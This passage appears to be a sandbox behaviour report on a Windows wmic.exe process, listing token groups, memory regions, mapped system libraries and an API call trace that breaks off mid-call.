os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1052 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1053 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1054 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1055 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1056 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1057 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1058 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1059 start_va = 0xfffa0000 end_va = 0x10002cfff entry_point = 0xfffa0000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\System32\\wbem\\WMIC.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe") Region: id = 1060 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1061 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1062 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1063 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1064 start_va = 0x220000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1065 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1066 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1067 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1068 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1069 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1070 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1071 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1072 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1073 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1074 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1075 start_va = 0x7fee54c0000 end_va = 0x7fee550bfff entry_point = 0x7fee54c0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1076 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1077 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1078 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1079 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1080 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1081 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1082 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1083 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1084 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1085 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1086 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1087 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1088 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1089 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1090 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1091 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1092 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1093 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1094 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1095 start_va = 0xe0000 end_va = 0xeffff entry_point = 0xe0000 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\System32\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\wmic.exe.mui") Region: id = 1096 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1097 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1098 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1099 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1100 start_va = 0x7e0000 end_va = 0x1bdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1101 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1102 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1103 start_va = 0x320000 end_va = 0x39cfff entry_point = 0x320000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1104 start_va = 0x320000 end_va = 0x39cfff entry_point = 0x320000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1105 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1106 start_va = 0x1c80000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 1107 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1108 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1109 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1110 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1111 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1112 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1113 start_va = 0x1d00000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1114 start_va = 0x1f60000 end_va = 0x222efff entry_point = 0x1f60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1115 start_va = 0x7fee52c0000 end_va = 0x7fee5493fff entry_point = 0x7fee52c0000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1116 start_va = 0x1d00000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1117 start_va = 0x1ee0000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1118 start_va = 0x320000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1119 start_va = 0x1d00000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1120 start_va = 0x1e60000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 1121 start_va = 0x2230000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 1122 start_va = 0x1d00000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1123 start_va = 0x1dd0000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 1124 start_va = 0x1be0000 end_va = 0x1c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001be0000" filename = "" Region: id = 1125 start_va = 0x23b0000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 1126 start_va = 0x2230000 end_va = 0x22effff entry_point = 0x2230000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1127 start_va = 0x2330000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 1128 start_va = 0x25d0000 end_va = 0x29cffff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 1129 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x1b0000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1130 start_va = 0x1c0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1131 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1132 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1133 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1134 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1135 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1136 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1137 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1138 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x1f0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1139 start_va = 0x200000 end_va = 0x201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 1140 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1141 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1142 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1143 start_va = 0x210000 end_va = 0x21bfff entry_point = 0x210000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1144 start_va = 0x320000 end_va = 0x327fff entry_point = 0x320000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1145 start_va = 0x330000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1146 start_va = 0x1be0000 end_va = 0x1beffff entry_point = 0x1be0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1147 start_va = 0x1bf0000 end_va = 0x1c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bf0000" filename = "" Region: id = 1148 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1149 start_va = 0x23b0000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 1150 start_va = 0x2550000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1151 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1152 start_va = 0x29d0000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 1153 start_va = 0x23b0000 end_va = 0x248efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 1154 start_va = 0x24a0000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1155 start_va = 0x2c80000 end_va = 0x2cfffff entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 1156 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1157 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1158 start_va = 0x29d0000 end_va = 0x2a14fff entry_point = 0x29d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1159 start_va = 0x2b60000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 1160 start_va = 0x29d0000 end_va = 0x2a14fff entry_point = 0x29d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1161 start_va = 0x29d0000 end_va = 0x2a14fff entry_point = 0x29d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1162 start_va = 0x29d0000 end_va = 0x2a14fff entry_point = 0x29d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1163 start_va = 0x29d0000 end_va = 0x2a14fff entry_point = 0x29d0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1164 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1165 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1166 start_va = 0x2a10000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 1167 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1168 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1169 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1170 start_va = 0x1c70000 end_va = 0x1c72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c70000" filename = "" Region: id = 1171 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1172 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1173 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1174 start_va = 0x1d00000 end_va = 0x1d23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 1175 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 1290 start_va = 0x1d00000 end_va = 0x1d01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Thread: id = 85 os_tid = 0xaf0 [0088.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afe70 | out: lpSystemTimeAsFileTime=0x1afe70*(dwLowDateTime=0x25e3e7c0, dwHighDateTime=0x1d471c5)) [0088.707] GetCurrentProcessId () returned 0xaec [0088.707] GetCurrentThreadId () returned 0xaf0 [0088.707] GetTickCount () returned 0x21c94 [0088.707] QueryPerformanceCounter (in: lpPerformanceCount=0x1afe78 | out: lpPerformanceCount=0x1afe78*=1814709800000) returned 1 [0088.708] GetModuleHandleW (lpModuleName=0x0) returned 0xfffa0000 [0088.708] __set_app_type (_Type=0x1) [0088.708] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffeced0) returned 0x0 [0088.708] __wgetmainargs (in: _Argc=0x100012380, _Argv=0x100012390, _Env=0x100012388, _DoWildCard=0, _StartInfo=0x10001239c | out: _Argc=0x100012380, _Argv=0x100012390, _Env=0x100012388) returned 0 [0088.712] ??0CHString@@QEAA@XZ () returned 0x100012ab0 [0088.714] ??0CHString@@QEAA@XZ () returned 0x100012f58 [0088.714] ?Empty@CHString@@QEAAXXZ () returned 0x7fee550482c [0088.714] SetConsoleCtrlHandler (HandlerRoutine=0xfffe5724, Add=1) returned 1 [0088.714] _onexit (_Func=0xfffff378) returned 0xfffff378 [0088.714] _onexit (_Func=0xfffff490) returned 0xfffff490 [0088.714] _onexit (_Func=0xfffff4d0) returned 0xfffff4d0 [0088.715] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0088.715] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0089.044] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0089.053] CoCreateInstance (in: rclsid=0xfffa73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xfffa7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x100012940 | out: ppv=0x100012940*=0x1ee1390) returned 0x0 [0089.064] GetCurrentProcess () returned 0xffffffffffffffff [0089.064] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1afc40 | out: TokenHandle=0x1afc40*=0xf4) returned 1 [0089.064] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1afc38 | out: TokenInformation=0x0, ReturnLength=0x1afc38) returned 0 [0089.065] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x3cd690, TokenInformationLength=0x40, ReturnLength=0x1afc38 | out: TokenInformation=0x3cd690, ReturnLength=0x1afc38) returned 1 [0089.065] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x3cd690*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=-1705439355, Attributes=0x1e67b))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0089.065] CloseHandle (hObject=0xf4) returned 1 [0089.073] GetSystemDirectoryW (in: lpBuffer=0x3cd780, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0089.073] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0089.074] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0089.074] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x77b20000 [0089.074] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0089.074] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0089.074] FreeLibrary (hLibModule=0x77b20000) returned 1 [0089.074] _vsnwprintf (in: _Buffer=0x3cd730, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1af868 | out: _Buffer="ms_409") returned 6 [0089.075] GetComputerNameW (in: 